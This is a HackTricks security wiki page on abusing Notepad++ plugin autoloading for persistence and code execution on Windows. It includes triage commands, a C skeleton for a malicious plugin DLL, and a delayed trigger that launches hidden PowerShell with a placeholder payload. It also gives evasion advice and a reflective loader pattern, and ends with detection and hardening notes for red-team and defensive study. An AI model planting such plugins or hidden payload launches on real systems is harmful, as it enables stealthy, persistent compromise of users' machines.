notepad-plus-plus-plugin-autoload-persistence.md (7837B)
1 --- 2 title: "Notepad++ Plugin Autoload Persistence & Execution" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/notepad-plus-plus-plugin-autoload-persistence.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Notepad++ Plugin Autoload Persistence & Execution 14 15 Notepad++ will **autoload every plugin DLL found under its `plugins` subfolders** on launch. Dropping a malicious plugin into any **writable Notepad++ installation** gives code execution inside `notepad++.exe` every time the editor starts, which can be abused for **persistence**, stealthy **initial execution**, or as an **in-process loader** if the editor is launched elevated.<sup>[[1]](#references)</sup> 16 17 Since **Notepad++ 7.6+** the expected manual-install layout is **one subfolder per plugin** (`plugins\<PluginName>\<PluginName>.dll`). In **portable mode** (presence of `doLocalConf.xml` next to `notepad++.exe`), the whole application tree stays local to that directory, which often turns copied/admin tool bundles into an easy user-writable execution surface.<sup>[[2]](#references)</sup> 18 19 ## Writable plugin locations 20 21 - Standard install: `C:\Program Files\Notepad++\plugins\<PluginName>\<PluginName>.dll` (usually requires admin to write).<sup>[[1]](#references)</sup> 22 - Writable options for low-privileged operators:<sup>[[1]](#references)</sup> 23 - Use the **portable Notepad++ build** in a user-writable folder. 24 - Copy `C:\Program Files\Notepad++` to a user-controlled path (e.g. `%LOCALAPPDATA%\npp\`) and run `notepad++.exe` from there. 25 - Hunt for **admin tool bundles**, extracted zip copies, or help-desk toolkits that already contain `doLocalConf.xml` and live outside `Program Files`. 26 - Each plugin gets its own subfolder under `plugins` and is loaded automatically at startup; menu entries appear under **Plugins**.<sup>[[2]](#references)</sup> 27 28 Quick triage: 29 30 ```batch 31 where /r C:\ notepad++.exe 2>nul 32 for /d %D in ("%ProgramFiles%\Notepad++" "%ProgramFiles(x86)%\Notepad++" "%LOCALAPPDATA%\*notepad*" "%USERPROFILE%\Desktop\*notepad*") do @if exist "%~fD\plugins" echo [*] %~fD 33 icacls "C:\Program Files\Notepad++\plugins" 2>nul 34 ``` 35 36 ## Plugin load points (execution primitives) 37 Notepad++ expects specific **exported functions**. These are all called during initialization, giving multiple execution surfaces:<sup>[[1]](#references)</sup> 38 - **`DllMain`** — runs immediately on DLL load (first execution point). 39 - **`setInfo(NppData)`** — called once on load to provide Notepad++ handles; typical place to register menu items. 40 - **`getName()`** — returns the plugin name shown in the menu. 41 - **`getFuncsArray(int *nbF)`** — returns menu commands; even if empty, it is called during startup. 42 - **`beNotified(SCNotification*)`** — receives Notepad++ / Scintilla events (useful to defer payloads until a user action or editor event). 43 - **`messageProc(UINT, WPARAM, LPARAM)`** — message handler, useful for larger data exchanges. 44 - **`isUnicode()`** — compatibility flag checked at load. 45 46 Most exports can be implemented as **stubs**; execution can occur from `DllMain` or any callback above during autoload. 47 48 ## Minimal malicious plugin skeleton 49 Compile a DLL with the expected exports and place it in `plugins\\MyNewPlugin\\MyNewPlugin.dll` under a writable Notepad++ folder:<sup>[[1]](#references)</sup> 50 51 ```c 52 BOOL APIENTRY DllMain(HMODULE h, DWORD r, LPVOID) { if (r == DLL_PROCESS_ATTACH) MessageBox(NULL, TEXT("Hello from Notepad++"), TEXT("MyNewPlugin"), MB_OK); return TRUE; } 53 extern "C" __declspec(dllexport) void setInfo(NppData) {} 54 extern "C" __declspec(dllexport) const TCHAR *getName() { return TEXT("MyNewPlugin"); } 55 extern "C" __declspec(dllexport) FuncItem *getFuncsArray(int *nbF) { *nbF = 0; return NULL; } 56 extern "C" __declspec(dllexport) void beNotified(SCNotification *) {} 57 extern "C" __declspec(dllexport) LRESULT messageProc(UINT, WPARAM, LPARAM) { return TRUE; } 58 extern "C" __declspec(dllexport) BOOL isUnicode() { return TRUE; } 59 ``` 60 61 1. Build the DLL (Visual Studio/MinGW). 62 2. Create the plugin subfolder under `plugins` and drop the DLL inside. 63 3. Restart Notepad++; the DLL is loaded automatically, executing `DllMain` and subsequent callbacks. 64 65 ## Low-noise trigger pattern via `beNotified` 66 For OPSEC, many payloads should **not** fire from `DllMain`. A quieter pattern is to let the plugin load cleanly, then execute only after a realistic editor event such as **startup complete**, **buffer activation**, or the **first typed character**. 67 68 ```c 69 static bool fired = false; 70 extern "C" __declspec(dllexport) void beNotified(SCNotification *n) { 71 if (fired) return; 72 if (n->nmhdr.code == NPPN_READY || 73 n->nmhdr.code == NPPN_BUFFERACTIVATED || 74 n->nmhdr.code == SCN_CHARADDED) { 75 fired = true; 76 WinExec("powershell -w hidden -nop -c <payload>", SW_HIDE); 77 } 78 } 79 ``` 80 81 This matches public offensive research better than a noisy `DllMain` beacon: the DLL is still autoloaded at startup, but the malicious action is delayed until Notepad++ looks genuinely in use. 82 83 ## Using the plugin config directory as secondary storage 84 Notepad++ exposes `NPPM_GETPLUGINSCONFIGDIR`, which returns the **current user's plugin configuration directory**.<sup>[[3]](#references)</sup> A malicious plugin can use this to keep the on-disk DLL minimal while storing encrypted config, staged payloads, or tasking files in a path that blends in with normal plugin state. 85 86 ```c 87 wchar_t cfg[MAX_PATH] = {0}; 88 SendMessage(nppData._nppHandle, NPPM_GETPLUGINSCONFIGDIR, MAX_PATH, (LPARAM)cfg); 89 // Example result: %AppData%\Notepad++\plugins\config 90 ``` 91 92 Operationally this is useful when you want: 93 - a tiny autoloaded bootstrap DLL; 94 - per-user tasking without touching the main plugin binary again; 95 - to separate the **autoload trigger** from the heavier second stage. 96 97 ## Reflective loader plugin pattern 98 A weaponized plugin can turn Notepad++ into a **reflective DLL loader**:<sup>[[1]](#references)</sup> 99 - Present a minimal UI/menu entry (e.g., "LoadDLL"). 100 - Accept a **file path** or **URL** to fetch a payload DLL. 101 - Reflectively map the DLL into the current process and invoke an exported entry point (e.g., a loader function inside the fetched DLL). 102 - Benefit: reuse a benign-looking GUI process instead of spawning a new loader; payload inherits the integrity of `notepad++.exe` (including elevated contexts). 103 - Trade-offs: dropping an **unsigned plugin DLL** to disk is noisy; a practical variation is to use the autoloaded plugin only as a stub and keep the real implant encrypted/staged elsewhere. 104 105 ## Detection and hardening notes 106 - Block or monitor **writes to Notepad++ plugin directories** (including portable copies in user profiles); enable controlled folder access or application allowlisting. 107 - Alert on **new unsigned DLLs** under `plugins`, changes to portable Notepad++ trees, and unusual **child processes/network activity** from `notepad++.exe`. 108 - Baseline legitimate plugins and investigate any new DLL that exports the normal Notepad++ plugin interface but also spawns shells, PowerShell, or network beacons. 109 - Enforce plugin installation via **Plugins Admin** only, and restrict execution of portable copies from untrusted paths. 110 111 ## References 112 113 - [1] [TrustedSec - Notepad++ Plugins: Plug and Payload](https://trustedsec.com/blog/notepad-plugins-plug-and-payload) 114 - [2] [Notepad++ User Manual - Plugins](https://npp-user-manual.org/docs/plugins/) 115 - [3] [Notepad++ User Manual - Plugin Communication](https://npp-user-manual.org/docs/plugin-communication/)